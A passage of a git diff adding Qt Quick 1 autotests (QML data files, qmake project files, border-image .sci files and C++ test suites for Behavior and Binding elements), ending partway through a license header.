+++ b/tests/auto/declarative/qdeclarativebehaviors/data/startup2.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 800;
+ height: 480;
+
+ Text { id:theText; text: "hello world" }
+
+ Rectangle {
+ objectName: "innerRect"
+ color: "red"
+ x: theText.width
+ Behavior on x { NumberAnimation {} }
+ width: 100; height: 100
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/qdeclarativebehaviors.pro b/tests/auto/declarative/qdeclarativebehaviors/qdeclarativebehaviors.pro
new file mode 100644
index 00000000..74168273
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/qdeclarativebehaviors.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativebehaviors.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp b/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
new file mode 100644
index 00000000..1c58ddb0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
@@ -0,0 +1,435 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <qsignalspy.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativetext_p.h>
+#include <private/qdeclarativebehavior_p.h>
+#include <private/qdeclarativeanimation_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativebehaviors : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativebehaviors() {}
+
+private slots:
+ void simpleBehavior();
+ void scriptTriggered();
+ void cppTriggered();
+ void loop();
+ void colorBehavior();
+ void parentBehavior();
+ void replaceBinding();
+ //void transitionOverrides();
+ void group();
+ void emptyBehavior();
+ void explicitSelection();
+ void nonSelectingBehavior();
+ void reassignedAnimation();
+ void disabled();
+ void dontStart();
+ void startup();
+ void groupedPropertyCrash();
+ void runningTrue();
+ void sameValue();
+ void delayedRegistration();
+};
+
+void tst_qdeclarativebehaviors::simpleBehavior()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/simple.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+ QTRY_VERIFY(qobject_cast<QDeclarativeBehavior*>(rect->findChild<QDeclarativeBehavior*>("MyBehavior"))->animation());
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() > 0);
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() < 200);
+ //i.e. the behavior has been triggered
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::scriptTriggered()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/scripttrigger.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ rect->setColor(QColor("red"));
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() > 0);
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() < 200);
+ //i.e. the behavior has been triggered
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::cppTriggered()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/cpptrigger.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QTRY_VERIFY(innerRect);
+
+ innerRect->setProperty("x", 200);
+ QTRY_VERIFY(innerRect->x() > 0);
+ QTRY_VERIFY(innerRect->x() < 200); //i.e. the behavior has been triggered
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::loop()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/loop.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ //don't crash
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::colorBehavior()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/color.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("red");
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->color() != QColor("red"));
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->color() != QColor("green"));
+ //i.e. the behavior has been triggered
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::parentBehavior()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/parent.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("reparented");
+ QTRY_VERIFY(rect->findChild<QDeclarativeRectangle*>("MyRect")->parentItem() != rect->findChild<QDeclarativeItem*>("NewParent"));
+ QTRY_VERIFY(rect->findChild<QDeclarativeRectangle*>("MyRect")->parentItem() == rect->findChild<QDeclarativeItem*>("NewParent"));
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::replaceBinding()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/binding.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QTRY_VERIFY(innerRect);
+ QTRY_VERIFY(innerRect->x() > 0);
+ QTRY_VERIFY(innerRect->x() < 200);
+ //i.e. the behavior has been triggered
+ QTRY_COMPARE(innerRect->x(), (qreal)200);
+ rect->setProperty("basex", 10);
+ QTRY_COMPARE(innerRect->x(), (qreal)200);
+ rect->setProperty("movedx", 210);
+ QTRY_COMPARE(innerRect->x(), (qreal)210);
+
+ QDeclarativeItemPrivate::get(rect)->setState("");
+ QTRY_VERIFY(innerRect->x() > 10);
+ QTRY_VERIFY(innerRect->x() < 210); //i.e. the behavior has been triggered
+ QTRY_COMPARE(innerRect->x(), (qreal)10);
+ rect->setProperty("movedx", 200);
+ QTRY_COMPARE(innerRect->x(), (qreal)10);
+ rect->setProperty("basex", 20);
+ QTRY_COMPARE(innerRect->x(), (qreal)20);
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::group()
+{
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/groupProperty.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ //QTest::qWait(200);
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() > 0);
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() < 200);
+ //i.e. the behavior has been triggered
+
+ delete rect;
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/groupProperty2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QTRY_VERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() > 0);
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() < 200);
+ //i.e. the behavior has been triggered
+
+ delete rect;
+ }
+}
+
+void tst_qdeclarativebehaviors::emptyBehavior()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/empty.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ qreal x = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x();
+ QCOMPARE(x, qreal(200)); //should change immediately
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::explicitSelection()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/explicit.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() > 0);
+ QTRY_VERIFY(qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x() < 200);
+ //i.e. the behavior has been triggered
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::nonSelectingBehavior()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/nonSelecting2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ qreal x = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x();
+ QCOMPARE(x, qreal(200)); //should change immediately
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::reassignedAnimation()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/reassignedAnimation.qml"));
+ QString warning = QUrl::fromLocalFile(SRCDIR "/data/reassignedAnimation.qml").toString() + ":9:9: QML Behavior: Cannot change the animation assigned to a Behavior.";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+ QCOMPARE(qobject_cast<QDeclarativeNumberAnimation*>(
+ rect->findChild<QDeclarativeBehavior*>("MyBehavior")->animation())->duration(), 200);
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::disabled()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/disabled.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+ QCOMPARE(rect->findChild<QDeclarativeBehavior*>("MyBehavior")->enabled(), false);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ qreal x = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"))->x();
+ QCOMPARE(x, qreal(200)); //should change immediately
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::dontStart()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontStart.qml"));
+
+ QString warning = c.url().toString() + ":13:13: QML NumberAnimation: setRunning() cannot be used on non-root animation nodes.";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *myAnim = rect->findChild<QDeclarativeAbstractAnimation*>("MyAnim");
+ QVERIFY(myAnim && myAnim->qtAnimation());
+ QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped);
+
+ delete rect;
+}
+
+void tst_qdeclarativebehaviors::startup()
+{
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/startup.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *innerRect = rect->findChild<QDeclarativeRectangle*>("innerRect");
+ QVERIFY(innerRect);
+
+ QCOMPARE(innerRect->x(), qreal(100)); //should be set immediately
+
+ delete rect;
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/startup2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *innerRect = rect->findChild<QDeclarativeRectangle*>("innerRect");
+ QVERIFY(innerRect);
+
+ QDeclarativeText *text = rect->findChild<QDeclarativeText*>();
+ QVERIFY(text);
+
+ QCOMPARE(innerRect->x(), text->width()); //should be set immediately
+
+ delete rect;
+ }
+}
+
+//QTBUG-10799
+void tst_qdeclarativebehaviors::groupedPropertyCrash()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/groupedPropertyCrash.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect); //don't crash
+}
+
+//QTBUG-5491
+void tst_qdeclarativebehaviors::runningTrue()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/runningTrue.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *animation = rect->findChild<QDeclarativeAbstractAnimation*>("rotAnim");
+ QVERIFY(animation);
+
+ QSignalSpy runningSpy(animation, SIGNAL(runningChanged(bool)));
+ rect->setProperty("myValue", 180);
+ QTRY_VERIFY(runningSpy.count() > 0);
+}
+
+//QTBUG-12295
+void tst_qdeclarativebehaviors::sameValue()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug12295.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *target = rect->findChild<QDeclarativeRectangle*>("myRect");
+ QVERIFY(target);
+
+ target->setX(100);
+ QCOMPARE(target->x(), qreal(100));
+
+ target->setProperty("x", 0);
+ QTRY_VERIFY(target->x() != qreal(0) && target->x() != qreal(100));
+ QTRY_VERIFY(target->x() == qreal(0)); //make sure Behavior has finished.
+
+ target->setX(100);
+ QCOMPARE(target->x(), qreal(100));
+
+ //this is the main point of the test -- the behavior needs to be triggered again
+ //even though we set 0 twice in a row.
+ target->setProperty("x", 0);
+ QTRY_VERIFY(target->x() != qreal(0) && target->x() != qreal(100));
+}
+
+//QTBUG-18362
+void tst_qdeclarativebehaviors::delayedRegistration()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/delayedRegistration.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItem *innerRect = rect->property("myItem").value<QDeclarativeItem*>();
+ QVERIFY(innerRect != 0);
+
+ QCOMPARE(innerRect->property("x").toInt(), int(0));
+
+ QTRY_COMPARE(innerRect->property("x").toInt(), int(100));
+}
+
+QTEST_MAIN(tst_qdeclarativebehaviors)
+
+#include "tst_qdeclarativebehaviors.moc"
diff --git a/tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml b/tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml
new file mode 100644
index 00000000..ba4c9f6f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 400
+ height: 400
+
+ property bool activateBinding: false
+
+ Binding {
+ id: binding
+ target: Qt.createQmlObject('import QtQuick 1.0; Item { property real value: 10 }', wrapper)
+ property: "value"
+ when: activateBinding
+ value: x + y
+ }
+
+ Component.onCompleted: binding.target.destroy();
+
+// MouseArea {
+// anchors.fill: parent
+// onClicked: activateBinding = true;
+// }
+}
diff --git a/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml b/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml
new file mode 100644
index 00000000..94497368
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+ width: 320; height: 240
+ property string text
+ property bool changeColor: false
+
+ Text { id: s1; text: "Hello" }
+ Rectangle { id: r1; width: 1; height: 1; color: "yellow" }
+ Rectangle { id: r2; width: 1; height: 1; color: "red" }
+
+ Binding { target: screen; property: "text"; value: s1.text; objectName: "binding1" }
+ Binding { target: screen; property: "color"; value: r1.color }
+ Binding { target: screen; property: "color"; when: screen.changeColor == true; value: r2.color; objectName: "binding3" }
+}
diff --git a/tests/auto/declarative/qdeclarativebinding/data/test-binding2.qml b/tests/auto/declarative/qdeclarativebinding/data/test-binding2.qml
new file mode 100644
index 00000000..3e99e2b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebinding/data/test-binding2.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+ width: 320; height: 240
+ property string text
+ property bool changeColor: false
+
+ Text { id: s1; text: "Hello" }
+ Rectangle { id: r1; width: 1; height: 1; color: "yellow" }
+ Rectangle { id: r2; width: 1; height: 1; color: "red" }
+
+ Binding { target: screen; property: "text"; value: s1.text }
+ Binding { target: screen; property: "color"; value: r1.color }
+ Binding { target: screen; property: "color"; value: r2.color; when: screen.changeColor == true }
+}
diff --git a/tests/auto/declarative/qdeclarativebinding/qdeclarativebinding.pro b/tests/auto/declarative/qdeclarativebinding/qdeclarativebinding.pro
new file mode 100644
index 00000000..fe126356
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebinding/qdeclarativebinding.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativebinding.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp
new file mode 100644
index 00000000..9d652556
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp
@@ -0,0 +1,135 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativebind_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativebinding : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativebinding();
+
+private slots:
+ void binding();
+ void whenAfterValue();
+ void deletedObject();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativebinding::tst_qdeclarativebinding()
+{
+}
+
+void tst_qdeclarativebinding::binding()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-binding.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeBind *binding3 = qobject_cast<QDeclarativeBind*>(rect->findChild<QDeclarativeBind*>("binding3"));
+ QVERIFY(binding3 != 0);
+
+ QCOMPARE(rect->color(), QColor("yellow"));
+ QCOMPARE(rect->property("text").toString(), QString("Hello"));
+ QCOMPARE(binding3->when(), false);
+
+ rect->setProperty("changeColor", true);
+ QCOMPARE(rect->color(), QColor("red"));
+
+ QCOMPARE(binding3->when(), true);
+
+ QDeclarativeBind *binding = qobject_cast<QDeclarativeBind*>(rect->findChild<QDeclarativeBind*>("binding1"));
+ QVERIFY(binding != 0);
+ QCOMPARE(binding->object(), qobject_cast<QObject*>(rect));
+ QCOMPARE(binding->property(), QLatin1String("text"));
+ QCOMPARE(binding->value().toString(), QLatin1String("Hello"));
+
+ delete rect;
+}
+
+void tst_qdeclarativebinding::whenAfterValue()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-binding2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+
+ QVERIFY(rect != 0);
+ QCOMPARE(rect->color(), QColor("yellow"));
+ QCOMPARE(rect->property("text").toString(), QString("Hello"));
+
+ rect->setProperty("changeColor", true);
+ QCOMPARE(rect->color(), QColor("red"));
+
+ delete rect;
+}
+
+//QTBUG-20692
+void tst_qdeclarativebinding::deletedObject()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/deletedObject.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QApplication::sendPostedEvents(0, QEvent::DeferredDelete);
+
+ //don't crash
+ rect->setProperty("activateBinding", true);
+
+ delete rect;
+}
+
+QTEST_MAIN(tst_qdeclarativebinding)
+
+#include "tst_qdeclarativebinding.moc"
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
new file mode 100644
index 00000000..c673bed5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.right:30
+border.bottom:40
+horizontalTileRule:Round
+verticalTileRule:Repeat
+source:http://127.0.0.1:14446/colors.png
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/colors-round.sci b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round.sci
new file mode 100644
index 00000000..5d2f49f0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.right:30
+border.bottom:40
+horizontalTileRule:Round
+verticalTileRule:Repeat
+source:colors.png
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/colors.png b/tests/auto/declarative/qdeclarativeborderimage/data/colors.png
new file mode 100644
index 00000000..dfb62f3d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/colors.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png
new file mode 100644
index 00000000..5a31ae8f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/invalid.sci b/tests/auto/declarative/qdeclarativeborderimage/data/invalid.sci
new file mode 100644
index 00000000..98c72c9b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/invalid.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.down:30
+border.up:40
+horizontalTileRule:Roun
+verticalTileRule:Repea
+source:colors.png
diff --git a/tests/auto/declarative/qdeclarativeborderimage/qdeclarativeborderimage.pro b/tests/auto/declarative/qdeclarativeborderimage/qdeclarativeborderimage.pro
new file mode 100644
index 00000000..c5b1bfa1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/qdeclarativeborderimage.pro
@@ -0,0 +1,18 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui network
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/testhttpserver.h
+SOURCES += tst_qdeclarativeborderimage.cpp ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
new file mode 100644
index 00000000..e8ebc34e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
@@ -0,0 +1,426 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
